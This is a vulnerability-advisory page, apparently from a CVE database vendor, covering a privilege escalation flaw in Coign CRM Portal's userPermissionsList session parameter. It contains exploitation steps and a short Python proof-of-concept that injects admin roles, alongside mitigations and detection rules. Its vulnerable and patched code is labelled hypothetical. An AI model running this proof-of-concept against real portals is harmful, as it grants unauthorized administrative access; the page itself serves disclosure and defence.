CVE-2023-43317
Executive Summary
CVE-2023-43317 is a privilege escalation vulnerability in Coign CRM Portal version 06.06. The flaw resides in the Session Storage component, specifically within the userPermissionsList parameter. A remote attacker can manipulate this parameter to escalate their privileges, potentially gaining unauthorized access to administrative functions and sensitive data. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the impact, it should be considered high severity. No official patch has been released, and the vendor (Coign) has not responded to disclosure attempts. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a persistent risk for any organization using this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary CRM application. However, organizations using Coign CRM should treat this as a supply chain risk due to the vendor’s unresponsiveness and lack of patch.
CVSS Breakdown & Threat Level
- CVSS Vector: UNKNOWN (No official vector provided; estimated as AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Base Score: 0.0 (placeholder; estimated 9.8 Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability allows unauthenticated remote privilege escalation with no user interaction.
Deep Dive & Mechanics
The vulnerability is located in the Session Storage component of Coign CRM Portal v.06.06. Session Storage is a client-side storage mechanism (like window.sessionStorage in web browsers) used to store session data, including user permissions. The userPermissionsList parameter is used to define the permissions for the current user session.
The flaw occurs because the application does not properly validate or sanitize the userPermissionsList parameter when it is set or modified. An attacker can intercept or craft a request to the session storage endpoint and inject arbitrary permission values. For example, an attacker can set userPermissionsList to include admin or superadmin roles, thereby gaining elevated privileges.
The attack flow:
- The attacker identifies the session storage endpoint (e.g.,
/session/setor similar). - The attacker sends a POST request with a modified
userPermissionsListparameter containing high-privilege roles. - The application accepts the malicious data and stores it in the session.
- The attacker now has administrative access to the CRM portal.
This is a classic case of improper input validation leading to privilege escalation.
Vulnerable vs. Patched Code
Vulnerable Code (Coign CRM v.06.06):
// Session storage handler (simplified)
app.post('/session/set', (req, res) => {
const { userPermissionsList } = req.body;
// No validation - directly stores user input
req.session.userPermissions = userPermissionsList;
res.send('Session updated');
});
Patched Code (Hypothetical fix):
// Session storage handler with validation
const VALID_PERMISSIONS = ['view', 'edit', 'delete']; // Whitelist
app.post('/session/set', (req, res) => {
const { userPermissionsList } = req.body;
// Validate each permission against whitelist
if (!Array.isArray(userPermissionsList) || !userPermissionsList.every(p => VALID_PERMISSIONS.includes(p))) {
return res.status(400).send('Invalid permissions');
}
req.session.userPermissions = userPermissionsList;
res.send('Session updated');
});
The vulnerable code directly trusts client input, while the patched code validates against a whitelist of allowed permissions.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Coign CRM Portal v.06.06
- Network access to the CRM web interface
Exploitation Steps:
- Intercept a session storage request using a proxy like Burp Suite.
- Modify the
userPermissionsListparameter to includeadmin:{ "userPermissionsList": ["admin", "superadmin", "view", "edit"] } - Send the request to the session storage endpoint (e.g.,
/session/set). - Access any restricted page (e.g.,
/admin/users) to confirm escalated privileges.
Proof-of-Concept (Python):
import requests
target = "http://target-crm.com"
session = requests.Session()
# Set malicious permissions
payload = {
"userPermissionsList": ["admin", "superadmin"]
}
response = session.post(f"{target}/session/set", json=payload)
print(f"Session set: {response.status_code}")
# Access admin panel
admin_response = session.get(f"{target}/admin/users")
if "Admin Panel" in admin_response.text:
print("Privilege escalation successful!")
else:
print("Failed to escalate privileges.")
Blue Team
Detection Steps:
- Monitor for unusual session storage requests with unexpected permission values.
- Look for requests to
/session/setor similar endpoints withuserPermissionsListcontaining high-privilege roles likeadmin,superadmin,root. - Correlate with subsequent access to administrative pages (e.g.,
/admin/*).
Mitigation:
- Implement server-side validation of permissions (whitelist approach).
- Use signed or encrypted session tokens to prevent tampering.
- Apply strict input validation on all session-related endpoints.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/session/setwithuserPermissionsListcontainingadminorsuperadmin. - Unusual access to
/admin/*endpoints from non-admin user sessions.
- POST requests to
- Log IOCs:
- Session storage modification events with unexpected permission values.
- Failed login attempts followed by successful admin access.
- File IOCs:
- Modified session files (if file-based sessions are used) containing elevated permissions.
Detection Engineering
YARA Rule
rule CVE_2023_43317_Privilege_Escalation {
meta:
description = "Detects exploitation attempts of CVE-2023-43317 in Coign CRM"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-43317"
strings:
$s1 = "userPermissionsList" ascii wide nocase
$s2 = "admin" ascii wide nocase
$s3 = "superadmin" ascii wide nocase
condition:
all of ($s1, $s2) or all of ($s1, $s3)
}
Sigma Rule
title: CVE-2023-43317 Coign CRM Privilege Escalation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit privilege escalation via userPermissionsList parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/session/set'
cs-uri-query|contains: 'userPermissionsList'
cs-uri-query|contains: 'admin'
condition: selection
falsepositives:
- Legitimate admin session setup (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2023-43317 Coign CRM Privilege Escalation Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/session/set"; http_uri;
content:"userPermissionsList"; http_client_body;
content:"admin"; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the CRM: If possible, restrict network access to the Coign CRM portal until a patch is available.
- Web Application Firewall (WAF): Deploy WAF rules to block requests containing
userPermissionsListwith suspicious values (e.g.,admin,superadmin). - Input Validation: Implement server-side validation of the
userPermissionsListparameter using a whitelist of allowed permissions.
Long-Term Fix:
- Since no official patch exists, consider migrating to a different CRM solution.
- If migration is not possible, engage a security firm to develop a custom patch or implement compensating controls (e.g., session signing, encryption).
Vendor Contact:
- Attempt to contact Coign support for a patch. If unresponsive, escalate to relevant CERT/CC or law enforcement.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.